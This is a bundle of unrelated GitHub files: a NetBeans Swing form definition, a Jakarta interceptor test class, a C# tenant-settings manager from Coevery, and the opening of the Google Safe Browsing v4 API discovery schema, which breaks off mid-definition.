<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[95, 23]"/>
</Property>
</Properties>
</Component>
<Component class="widget.Label" name="jLabel21">
<Properties>
<Property name="horizontalAlignment" type="int" value="0"/>
<Property name="text" type="java.lang.String" value="s.d."/>
<Property name="name" type="java.lang.String" value="jLabel21" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[23, 23]"/>
</Property>
</Properties>
</Component>
<Component class="widget.Tanggal" name="DTPCari2">
<Properties>
<Property name="foreground" type="java.awt.Color" editor="org.netbeans.beaninfo.editors.ColorEditor">
<Color blue="32" green="46" red="32" type="rgb"/>
</Property>
<Property name="model" type="javax.swing.ComboBoxModel" editor="org.netbeans.modules.form.editors2.ComboBoxModelEditor">
<StringArray count="1">
<StringItem index="0" value="01-05-2019"/>
</StringArray>
</Property>
<Property name="displayFormat" type="java.lang.String" value="dd-MM-yyyy"/>
<Property name="name" type="java.lang.String" value="DTPCari2" noResource="true"/>
<Property name="opaque" type="boolean" value="false"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[95, 23]"/>
</Property>
</Properties>
</Component>
<Component class="widget.Label" name="jLabel6">
<Properties>
<Property name="text" type="java.lang.String" value="Key Word :"/>
<Property name="name" type="java.lang.String" value="jLabel6" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[70, 23]"/>
</Property>
</Properties>
</Component>
<Component class="widget.TextBox" name="TCari">
<Properties>
<Property name="name" type="java.lang.String" value="TCari" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[210, 23]"/>
</Property>
</Properties>
<Events>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="TCariKeyPressed"/>
</Events>
</Component>
<Component class="widget.Button" name="BtnCari">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/accept.png"/>
</Property>
<Property name="mnemonic" type="int" value="51"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+3"/>
<Property name="name" type="java.lang.String" value="BtnCari" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[28, 23]"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="BtnCariActionPerformed"/>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="BtnCariKeyPressed"/>
</Events>
</Component>
<Component class="widget.Label" name="jLabel7">
<Properties>
<Property name="text" type="java.lang.String" value="Record :"/>
<Property name="name" type="java.lang.String" value="jLabel7" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[65, 23]"/>
</Property>
</Properties>
</Component>
<Component class="widget.Label" name="LCount">
<Properties>
<Property name="horizontalAlignment" type="int" value="2"/>
<Property name="text" type="java.lang.String" value="0"/>
<Property name="name" type="java.lang.String" value="LCount" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[50, 23]"/>
</Property>
</Properties>
</Component>
</SubComponents>
</Container>
</SubComponents>
</Container>
<Container class="javax.swing.JPanel" name="PanelInput">
<Properties>
<Property name="name" type="java.lang.String" value="PanelInput" noResource="true"/>
<Property name="opaque" type="boolean" value="false"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[72, 154]"/>
</Property>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout" value="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout$BorderConstraintsDescription">
<BorderConstraints direction="First"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout">
<Property name="horizontalGap" type="int" value="1"/>
<Property name="verticalGap" type="int" value="1"/>
</Layout>
<SubComponents>
<Container class="widget.PanelBiasa" name="FormInput">
<Properties>
<Property name="name" type="java.lang.String" value="FormInput" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[70, 165]"/>
</Property>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout" value="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout$BorderConstraintsDescription">
<BorderConstraints direction="Center"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout">
<Property name="useNullLayout" type="boolean" value="true"/>
</Layout>
<SubComponents>
<Component class="widget.Label" name="jLabel8">
<Properties>
<Property name="text" type="java.lang.String" value="Tanggal :"/>
<Property name="name" type="java.lang.String" value="jLabel8" noResource="true"/>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="516" y="10" width="70" height="23"/>
</Constraint>
</Constraints>
</Component>
<Component class="widget.Tanggal" name="Tanggal">
<Properties>
<Property name="foreground" type="java.awt.Color" editor="org.netbeans.beaninfo.editors.ColorEditor">
<Color blue="32" green="46" red="32" type="rgb"/>
</Property>
<Property name="model" type="javax.swing.ComboBoxModel" editor="org.netbeans.modules.form.editors2.ComboBoxModelEditor">
<StringArray count="1">
<StringItem index="0" value="01-05-2019 07:59:18"/>
</StringArray>
</Property>
<Property name="displayFormat" type="java.lang.String" value="dd-MM-yyyy HH:mm:ss"/>
<Property name="name" type="java.lang.String" value="Tanggal" noResource="true"/>
<Property name="opaque" type="boolean" value="false"/>
</Properties>
<Events>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="TanggalKeyPressed"/>
</Events>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="590" y="10" width="135" height="23"/>
</Constraint>
</Constraints>
</Component>
<Component class="widget.Label" name="jLabel5">
<Properties>
<Property name="text" type="java.lang.String" value="Rincian Kegiatan :"/>
<Property name="name" type="java.lang.String" value="jLabel5" noResource="true"/>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="0" y="40" width="102" height="23"/>
</Constraint>
</Constraints>
</Component>
<Component class="widget.TextBox" name="KdPetugas">
<Properties>
<Property name="editable" type="boolean" value="false"/>
<Property name="highlighter" type="javax.swing.text.Highlighter" editor="org.netbeans.modules.form.ComponentChooserEditor">
<ComponentRef name="null"/>
</Property>
<Property name="name" type="java.lang.String" value="KdPetugas" noResource="true"/>
</Properties>
<Events>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="KdPetugasKeyPressed"/>
</Events>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="106" y="10" width="120" height="23"/>
</Constraint>
</Constraints>
</Component>
<Component class="widget.Button" name="btnPetugas">
<Properties>
<Property name="icon" type="javax.swing.Icon" noResource="true" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/190.png"/>
</Property>
<Property name="mnemonic" type="int" value="50"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+2"/>
<Property name="name" type="java.lang.String" value="btnPetugas" noResource="true"/>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="btnPetugasActionPerformed"/>
</Events>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="475" y="10" width="28" height="23"/>
</Constraint>
</Constraints>
</Component>
<Component class="widget.TextBox" name="NmPetugas">
<Properties>
<Property name="editable" type="boolean" value="false"/>
<Property name="highlighter" type="javax.swing.text.Highlighter" editor="org.netbeans.modules.form.ComponentChooserEditor">
<ComponentRef name="null"/>
</Property>
<Property name="name" type="java.lang.String" value="NmPetugas" noResource="true"/>
</Properties>
<Events>
<EventHandler event="keyPressed" listener="java.awt.event.KeyListener" parameters="java.awt.event.KeyEvent" handler="NmPetugasKeyPressed"/>
</Events>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="229" y="10" width="243" height="23"/>
</Constraint>
</Constraints>
</Component>
<Container class="widget.ScrollPane" name="scrollPane1">
<Properties>
<Property name="border" type="javax.swing.border.Border" editor="org.netbeans.modules.form.editors2.BorderEditor">
<Border info="org.netbeans.modules.form.compat2.border.LineBorderInfo">
<LineBorder/>
</Border>
</Property>
<Property name="name" type="java.lang.String" value="scrollPane1" noResource="true"/>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="106" y="40" width="260" height="80"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.support.JScrollPaneSupportLayout"/>
<SubComponents>
<Component class="widget.TextArea" name="Kegiatan">
<Properties>
<Property name="border" type="javax.swing.border.Border" editor="org.netbeans.modules.form.editors2.BorderEditor">
<Border info="org.netbeans.modules.form.compat2.border.EmptyBorderInfo">
<EmptyBorder/>
</Border>
</Property>
<Property name="columns" type="int" value="20"/>
<Property name="rows" type="int" value="5"/>
<Property name="name" type="java.lang.String" value="Kegiatan" noResource="true"/>
</Properties>
</Component>
</SubComponents>
</Container>
<Component class="widget.Label" name="jLabel9">
<Properties>
<Property name="text" type="java.lang.String" value="Petugas P.J. :"/>
<Property name="name" type="java.lang.String" value="jLabel9" noResource="true"/>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="0" y="10" width="102" height="23"/>
</Constraint>
</Constraints>
</Component>
<Container class="widget.ScrollPane" name="scrollPane2">
<Properties>
<Property name="border" type="javax.swing.border.Border" editor="org.netbeans.modules.form.editors2.BorderEditor">
<Border info="org.netbeans.modules.form.compat2.border.LineBorderInfo">
<LineBorder/>
</Border>
</Property>
<Property name="name" type="java.lang.String" value="scrollPane2" noResource="true"/>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="465" y="40" width="260" height="80"/>
</Constraint>
</Constraints>
<Layout class="org.netbeans.modules.form.compat2.layouts.support.JScrollPaneSupportLayout"/>
<SubComponents>
<Component class="widget.TextArea" name="Rekomendasi">
<Properties>
<Property name="border" type="javax.swing.border.Border" editor="org.netbeans.modules.form.editors2.BorderEditor">
<Border info="org.netbeans.modules.form.compat2.border.EmptyBorderInfo">
<EmptyBorder/>
</Border>
</Property>
<Property name="columns" type="int" value="20"/>
<Property name="rows" type="int" value="5"/>
<Property name="name" type="java.lang.String" value="Rekomendasi" noResource="true"/>
</Properties>
</Component>
</SubComponents>
</Container>
<Component class="widget.Label" name="jLabel10">
<Properties>
<Property name="text" type="java.lang.String" value="Rekomendasi :"/>
<Property name="name" type="java.lang.String" value="jLabel10" noResource="true"/>
</Properties>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout" value="org.netbeans.modules.form.compat2.layouts.DesignAbsoluteLayout$AbsoluteConstraintsDescription">
<AbsoluteConstraints x="371" y="40" width="90" height="23"/>
</Constraint>
</Constraints>
</Component>
</SubComponents>
</Container>
<Component class="widget.CekBox" name="ChkInput">
<Properties>
<Property name="icon" type="javax.swing.Icon" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/143.png"/>
</Property>
<Property name="mnemonic" type="int" value="73"/>
<Property name="text" type="java.lang.String" value=".: Input Data"/>
<Property name="toolTipText" type="java.lang.String" value="Alt+I"/>
<Property name="borderPainted" type="boolean" value="true"/>
<Property name="borderPaintedFlat" type="boolean" value="true"/>
<Property name="focusable" type="boolean" value="false"/>
<Property name="horizontalAlignment" type="int" value="2"/>
<Property name="horizontalTextPosition" type="int" value="4"/>
<Property name="name" type="java.lang.String" value="ChkInput" noResource="true"/>
<Property name="preferredSize" type="java.awt.Dimension" editor="org.netbeans.beaninfo.editors.DimensionEditor">
<Dimension value="[192, 20]"/>
</Property>
<Property name="rolloverIcon" type="javax.swing.Icon" noResource="true" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/143.png"/>
</Property>
<Property name="rolloverSelectedIcon" type="javax.swing.Icon" noResource="true" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/145.png"/>
</Property>
<Property name="selectedIcon" type="javax.swing.Icon" noResource="true" editor="org.netbeans.modules.form.editors2.IconEditor">
<Image iconType="3" name="/picture/145.png"/>
</Property>
</Properties>
<Events>
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="ChkInputActionPerformed"/>
</Events>
<Constraints>
<Constraint layoutClass="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout" value="org.netbeans.modules.form.compat2.layouts.DesignBorderLayout$BorderConstraintsDescription">
<BorderConstraints direction="Last"/>
</Constraint>
</Constraints>
</Component>
</SubComponents>
</Container>
</SubComponents>
</Container>
</SubComponents>
</Form>
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
* http://www.eclipse.org/legal/epl-2.0.
*
* This Source Code may also be made available under the following Secondary
* Licenses when the conditions for such availability set forth in the
* Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
* version 2 with the GNU Classpath Exception, which is available at
* https://www.gnu.org/software/classpath/license.html.
*
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
package com.tests;
import jakarta.interceptor.*;
@Tester @Interceptor
public class TestAroundInvokeInterceptor {
public static int aroundInvokeCount = 0;
public static void reset(){
aroundInvokeCount = 0;
}
@AroundInvoke
public Object testMethod(InvocationContext ctx) throws Exception {
System.out.println("TestAroundInvokeIntercetpr:: aroundInvoke called - target:" + ctx.getTarget() + " , params:"+ ctx.getParameters());
aroundInvokeCount ++;
ctx.proceed();
return null;
}
}
|
{
"pile_set_name": "Github"
}
|
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using Coevery.FileSystems.AppData;
using Coevery.Logging;
namespace Coevery.Environment.Configuration {
public class ShellSettingsManager : Component, IShellSettingsManager {
private const string _settingsFileName = "Settings.txt";
private readonly IAppDataFolder _appDataFolder;
private readonly IShellSettingsManagerEventHandler _events;
public ShellSettingsManager(IAppDataFolder appDataFolder, IShellSettingsManagerEventHandler events) {
_appDataFolder = appDataFolder;
_events = events;
}
IEnumerable<ShellSettings> IShellSettingsManager.LoadSettings() {
Logger.Debug("Reading ShellSettings...");
var settingsList = LoadSettingsInternal().ToArray();
var tenantNamesQuery =
from settings in settingsList
select settings.Name;
Logger.Debug("Returning {0} ShellSettings objects for tenants {1}.", tenantNamesQuery.Count(), String.Join(", ", tenantNamesQuery));
return settingsList;
}
void IShellSettingsManager.SaveSettings(ShellSettings settings) {
if (settings == null)
throw new ArgumentNullException("settings");
if (String.IsNullOrEmpty(settings.Name))
throw new ArgumentException("The Name property of the supplied ShellSettings object is null or empty; the settings cannot be saved.", "settings");
Logger.Debug("Saving ShellSettings for tenant '{0}'...", settings.Name);
var filePath = Path.Combine(Path.Combine("Sites", settings.Name), _settingsFileName);
_appDataFolder.CreateFile(filePath, ShellSettingsSerializer.ComposeSettings(settings));
Logger.Debug("ShellSettings saved successfully; flagging tenant '{0}' for restart.", settings.Name);
_events.Saved(settings);
}
private IEnumerable<ShellSettings> LoadSettingsInternal() {
var filePaths = _appDataFolder
.ListDirectories("Sites")
.SelectMany(path => _appDataFolder.ListFiles(path))
.Where(path => String.Equals(Path.GetFileName(path), _settingsFileName, StringComparison.OrdinalIgnoreCase));
foreach (var filePath in filePaths) {
yield return ShellSettingsSerializer.ParseSettings(_appDataFolder.ReadFile(filePath));
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
{
"batchPath": "batch",
"id": "safebrowsing:v4",
"documentationLink": "https://developers.google.com/safe-browsing/",
"revision": "20170531",
"title": "Google Safe Browsing API",
"discoveryVersion": "v1",
"ownerName": "Google",
"resources": {
"fullHashes": {
"methods": {
"find": {
"description": "Finds the full hashes that match the requested hash prefixes.",
"request": {
"$ref": "FindFullHashesRequest"
},
"httpMethod": "POST",
"parameterOrder": [],
"response": {
"$ref": "FindFullHashesResponse"
},
"parameters": {},
"flatPath": "v4/fullHashes:find",
"id": "safebrowsing.fullHashes.find",
"path": "v4/fullHashes:find"
}
}
},
"encodedUpdates": {
"methods": {
"get": {
"id": "safebrowsing.encodedUpdates.get",
"path": "v4/encodedUpdates/{encodedRequest}",
"description": "",
"httpMethod": "GET",
"parameterOrder": [
"encodedRequest"
],
"response": {
"$ref": "FetchThreatListUpdatesResponse"
},
"parameters": {
"clientVersion": {
"description": "The version of the client implementation.",
"type": "string",
"location": "query"
},
"encodedRequest": {
"required": true,
"type": "string",
"location": "path",
"description": "A serialized FetchThreatListUpdatesRequest proto.",
"format": "byte"
},
"clientId": {
"location": "query",
"description": "A client ID that uniquely identifies the client implementation of the Safe\nBrowsing API.",
"type": "string"
}
},
"flatPath": "v4/encodedUpdates/{encodedRequest}"
}
}
},
"threatListUpdates": {
"methods": {
"fetch": {
"response": {
"$ref": "FetchThreatListUpdatesResponse"
},
"parameterOrder": [],
"httpMethod": "POST",
"parameters": {},
"flatPath": "v4/threatListUpdates:fetch",
"path": "v4/threatListUpdates:fetch",
"id": "safebrowsing.threatListUpdates.fetch",
"request": {
"$ref": "FetchThreatListUpdatesRequest"
},
"description": "Fetches the most recent threat list updates. A client can request updates\nfor multiple lists at once."
}
}
},
"encodedFullHashes": {
"methods": {
"get": {
"description": "",
"httpMethod": "GET",
"parameterOrder": [
"encodedRequest"
],
"response": {
"$ref": "FindFullHashesResponse"
},
"parameters": {
"clientVersion": {
"location": "query",
"description": "The version of the client implementation.",
"type": "string"
},
"encodedRequest": {
"required": true,
"type": "string",
"location": "path",
"description": "A serialized FindFullHashesRequest proto.",
"format": "byte"
},
"clientId": {
"type": "string",
"location": "query",
"description": "A client ID that (hopefully) uniquely identifies the client implementation\nof the Safe Browsing API."
}
},
"flatPath": "v4/encodedFullHashes/{encodedRequest}",
"id": "safebrowsing.encodedFullHashes.get",
"path": "v4/encodedFullHashes/{encodedRequest}"
}
}
},
"threatLists": {
"methods": {
"list": {
"flatPath": "v4/threatLists",
"id": "safebrowsing.threatLists.list",
"path": "v4/threatLists",
"description": "Lists the Safe Browsing threat lists available for download.",
"httpMethod": "GET",
"parameterOrder": [],
"response": {
"$ref": "ListThreatListsResponse"
},
"parameters": {}
}
}
},
"threatMatches": {
"methods": {
"find": {
"httpMethod": "POST",
"parameterOrder": [],
"response": {
"$ref": "FindThreatMatchesResponse"
},
"parameters": {},
"flatPath": "v4/threatMatches:find",
"id": "safebrowsing.threatMatches.find",
"path": "v4/threatMatches:find",
"description": "Finds the threat entries that match the Safe Browsing lists.",
"request": {
"$ref": "FindThreatMatchesRequest"
}
}
}
}
},
"parameters": {
"upload_protocol": {
"location": "query",
"description": "Upload protocol for media (e.g. \"raw\", \"multipart\").",
"type": "string"
},
"prettyPrint": {
"location": "query",
"description": "Returns response with indentations and line breaks.",
"type": "boolean",
"default": "true"
},
"uploadType": {
"location": "query",
"description": "Legacy upload protocol for media (e.g. \"media\", \"multipart\").",
"type": "string"
},
"fields": {
"location": "query",
"description": "Selector specifying which fields to include in a partial response.",
"type": "string"
},
"$.xgafv": {
"type": "string",
"enumDescriptions": [
"v1 error format",
"v2 error format"
],
"location": "query",
"enum": [
"1",
"2"
],
"description": "V1 error format."
},
"callback": {
"description": "JSONP",
"type": "string",
"location": "query"
},
"alt": {
"enum": [
"json",
"media",
"proto"
],
"type": "string",
"enumDescriptions": [
"Responses with Content-Type of application/json",
"Media download with context-dependent Content-Type",
"Responses with Content-Type of application/x-protobuf"
],
"location": "query",
"description": "Data format for response.",
"default": "json"
},
"access_token": {
"description": "OAuth access token.",
"type": "string",
"location": "query"
},
"key": {
"description": "API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.",
"type": "string",
"location": "query"
},
"quotaUser": {
"description": "Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a user, but should not exceed 40 characters.",
"type": "string",
"location": "query"
},
"pp": {
"description": "Pretty-print response.",
"type": "boolean",
"default": "true",
"location": "query"
},
"oauth_token": {
"location": "query",
"description": "OAuth 2.0 token for the current user.",
"type": "string"
},
"bearer_token": {
"location": "query",
"description": "OAuth bearer token.",
"type": "string"
}
},
"schemas": {
"RawHashes": {
"id": "RawHashes",
"description": "The uncompressed threat entries in hash format of a particular prefix length.\nHashes can be anywhere from 4 to 32 bytes in size. A large majority are 4\nbytes, but some hashes are lengthened if they collide with the hash of a\npopular URL.\n\nUsed for sending ThreatEntrySet to clients that do not support compression,\nor when sending non-4-byte hashes to clients that do support compression.",
"type": "object",
"properties": {
"prefixSize": {
"description": "The number of bytes for each prefix encoded below. This field can be\nanywhere from 4 (shortest prefix) to 32 (full SHA256 hash).",
"format": "int32",
"type": "integer"
},
"rawHashes": {
"description": "The hashes, in binary format, concatenated into one long string. Hashes are\nsorted in lexicographic order. For JSON API users, hashes are\nbase64-encoded.",
"format": "byte",
"type": "string"
}
}
},
"FetchThreatListUpdatesResponse": {
"properties": {
"listUpdateResponses": {
"description": "The list updates requested by the clients.",
"type": "array",
"items": {
"$ref": "ListUpdateResponse"
}
},
"minimumWaitDuration": {
"type": "string",
"description": "The minimum duration the client must wait before issuing any update\nrequest. If this field is not set clients may update as soon as they want.",
"format": "google-duration"
}
},
"id": "FetchThreatListUpdatesResponse",
"type": "object"
},
"FindFullHashesResponse": {
"id": "FindFullHashesResponse",
"type": "object",
"properties": {
"minimumWaitDuration": {
"description": "The minimum duration the client must wait before issuing any find hashes\nrequest. If this field is not set, clients can issue a request as soon as\nthey want.",
"format": "google-duration",
"type": "string"
},
"matches": {
"description": "The full hashes that matched the requested prefixes.",
"type": "array",
"items": {
"$ref": "ThreatMatch"
}
},
"negativeCacheDuration": {
"description": "For requested entities that did not match the threat list, how long to\ncache the response.",
"format": "google-duration",
"type": "string"
}
}
},
"Checksum": {
"properties": {
"sha256": {
"type": "string",
"description": "The SHA256 hash of the client state; that is, of the sorted list of all\nhashes present in the database.",
"format": "byte"
}
},
"id": "Checksum",
"description": "The expected state of a client's local database.",
"type": "object"
},
"ThreatEntrySet": {
"description": "A set of threats that should be added or removed from a client's local\ndatabase.",
"type": "object",
"properties": {
"compressionType": {
"enum": [
"COMPRESSION_TYPE_UNSPECIFIED",
"RAW",
"RICE"
],
"description": "The compression type for the entries in this set.",
"type": "string",
"enumDescriptions": [
"Unknown.",
"Raw, uncompressed data.",
"Rice-Golomb encoded data."
]
},
"riceIndices": {
"description": "The encoded local, lexicographically-sorted list indices, using a\nGolomb-Rice encoding. Used for sending compressed removal indices. The\nremoval indices (uint32) are sorted in ascending order, then delta encoded\nand stored as encoded_data.",
"$ref": "RiceDeltaEncoding"
},
"rawIndices": {
"description": "The raw removal indices for a local list.",
"$ref": "RawIndices"
},
"rawHashes": {
"$ref": "RawHashes",
"description": "The raw SHA256-formatted entries."
},
"riceHashes": {
"$ref": "RiceDeltaEncoding",
"description": "The encoded 4-byte prefixes of SHA256-formatted entries, using a\nGolomb-Rice encoding. The hashes are converted to uint32, sorted in\nascending order, then delta encoded and stored as encoded_data."
}
},
"id": "ThreatEntrySet"
},
"FindFullHashesRequest": {
"description": "Request to return full hashes matched by the provided hash prefixes.",
"type": "object",
"properties": {
"client": {
"description": "The client metadata.",
"$ref": "ClientInfo"
},
"threatInfo": {
"description": "The lists and hashes to be checked.",
"$ref": "ThreatInfo"
},
"apiClient": {
"$ref": "ClientInfo",
"description": "Client metadata associated with callers of higher-level APIs built on top\nof the client's implementation."
},
"clientStates": {
"description": "The current client states for each of the client's local threat lists.",
"type": "array",
"items": {
"type": "string",
"format": "byte"
}
}
},
"id": "FindFullHashesRequest"
},
"ListUpdateRequest": {
"description": "A single list update request.",
"type": "object",
"properties": {
"threatEntryType": {
"enum": [
"THREAT_ENTRY_TYPE_UNSPECIFIED",
"URL",
"EXECUTABLE",
"IP_RANGE",
"CHROME_EXTENSION",
"FILENAME",
"CERT"
],
"description": "The types of entries present in the list.",
"type": "string",
"enumDescriptions": [
"Unspecified.",
"A URL.",
"An executable program.",
"An IP range.",
"Chrome extension.",
"Filename.",
"CERT"
]
},
"state": {
"description": "The current state of the client for the requested list (the encrypted\nclient state that was received from the last successful list update).",
"format": "byte",
"type": "string"
},
"platformType": {
"description": "The type of platform at risk by entries present in the list.",
"type": "string",
"enumDescriptions": [
"Unknown platform.",
"Threat posed to Windows.",
"Threat posed to Linux.",
"Threat posed to Android.",
"Threat posed to OS X.",
"Threat posed to iOS.",
"Threat posed to at least one of the defined platforms.",
"Threat posed to all defined platforms.",
"Threat posed to Chrome."
],
"enum": [
"PLATFORM_TYPE_UNSPECIFIED",
"WINDOWS",
"LINUX",
"ANDROID",
"OSX",
"IOS",
"ANY_PLATFORM",
"ALL_PLATFORMS",
"CHROME"
]
},
"threatType": {
"enum": [
"THREAT_TYPE_UNSPECIFIED",
"MALWARE",
"SOCIAL_ENGINEERING",
"UNWANTED_SOFTWARE",
"POTENTIALLY_HARMFUL_APPLICATION"
],
"description": "The type of threat posed by entries present in the list.",
"type": "string",
"enumDescriptions": [
"Unknown.",
"Malware threat type.",
"Social engineering threat type.",
"Unwanted software threat type.",
"Potentially harmful application threat type."
]
},
"constraints": {
"$ref": "Constraints",
"description": "The constraints associated with this request."
}
},
"id": "ListUpdateRequest"
},
"FetchThreatListUpdatesRequest": {
"description": "Describes a Safe Browsing API update request. Clients can request updates for\nmultiple lists in a single request.\nNOTE: Field index 2 is unused.\nNEXT: 5",
"type": "object",
"properties": {
"listUpdateRequests": {
"description": "The requested threat list updates.",
"type": "array",
"items": {
"$ref": "ListUpdateRequest"
}
},
"client": {
"description": "The client metadata.",
"$ref": "ClientInfo"
}
},
"id": "FetchThreatListUpdatesRequest"
},
"ListUpdateResponse": {
"description": "An update to an individual list.",
"type": "object",
"properties": {
"responseType": {
"enum": [
"RESPONSE_TYPE_UNSPECIFIED",
"PARTIAL_UPDATE",
"FULL_UPDATE"
],
"description": "The type of response. This may indicate that an action is required by the\nclient when the response is received.",
"type": "string",
"enumDescriptions": [
"Unknown.",
"Partial updates are applied to the client's existing local database.",
"Full updates replace the client's entire local database. This means\nthat either the client was seriously out-of-date or the client is\nbelieved to be corrupt."
]
},
"checksum": {
"$ref": "Checksum",
"description": "The expected SHA256 hash of the client state; that is, of the sorted list\nof all hashes present in the database after applying the provided update.\nIf the client state doesn't match the expected state, the client must\ndisregard this update and retry later."
},
"threatType": {
"description": "The threat type for which data is returned.",
"type": "string",
"enumDescriptions": [
"Unknown.",
"Malware threat type.",
"Social engineering threat type.",
"Unwanted software threat type.",
"Potentially harmful application threat type."
],
"enum": [
"THREAT_TYPE_UNSPECIFIED",
"MALWARE",
"SOCIAL_ENGINEERING",
"UNWANTED_SOFTWARE",
"POTENTIALLY_HARMFUL_APPLICATION"
]
},
"removals": {
"description": "A set of entries to remove from a local threat type's list. In practice,\nthis field is empty or contains exactly one ThreatEntrySet.",
"type": "array",
"items": {
"$ref": "ThreatEntrySet"
}
},
"newClientState": {
"description": "The new client state, in encrypted format. Opaque to clients.",
"format": "byte",
"type": "string"
},
"platformType": {
"description": "The platform type for which data is returned.",
"type": "string",
"enumDescriptions": [
"Unknown platform.",
"Threat posed to Windows.",
"Threat posed to Linux.",
"Threat posed to Android.",
"Threat posed to OS X.",
"Threat posed to iOS.",
"Threat posed to at least one of the defined platforms.",
"Threat posed to all defined platforms.",
"Threat posed to Chrome."
],
"enum": [
"PLATFORM_TYPE_UNSPECIFIED",
"WINDOWS",
"LINUX",
"ANDROID",
"OSX",
"IOS",
"ANY_PLATFORM",
"ALL_PLATFORMS",
"CHROME"
]
},
"threatEntryType": {
"enum": [
